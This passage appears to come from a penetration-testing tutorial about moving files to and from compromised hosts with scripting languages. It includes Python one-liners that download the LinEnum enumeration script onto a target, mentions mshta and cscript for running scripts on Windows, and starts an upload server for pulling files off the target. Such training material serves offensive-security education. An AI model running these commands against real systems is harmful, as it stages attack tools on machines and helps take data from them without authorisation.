It's common to find different programming languages installed on the machines we are targetting. Programming languages such as Python, PHP, Perl, and Ruby are commonly available in Linux distributions but can also be installed on Windows, although this is far less common.
We can use some Windows default applications, such as cscript and mshta, to execute JavaScript or VBScript code. JavaScript can also run on Linux hosts.
Python can run one-liners from an operating system command line using the option -c.
python3 -c 'import urllib.request;urllib.request.urlretrieve("<https://raw.githubusercontent.com/LinEnum.sh>", "LinEnum.sh")'
python2.7 -c 'import urllib;urllib.urlretrieve ("<https://raw.githubusercontent.com/LinEnum.sh>", "LinEnum.sh")'
If we want to upload a file, we need to understand the functions in a particular programming language to perform the upload operation. The Python3 requests module allows you to send HTTP requests (GET, POST, PUT, etc.) using Python. We can use the following code if we want to upload a file to our Python3 uploadserver.
python3 -m uploadserver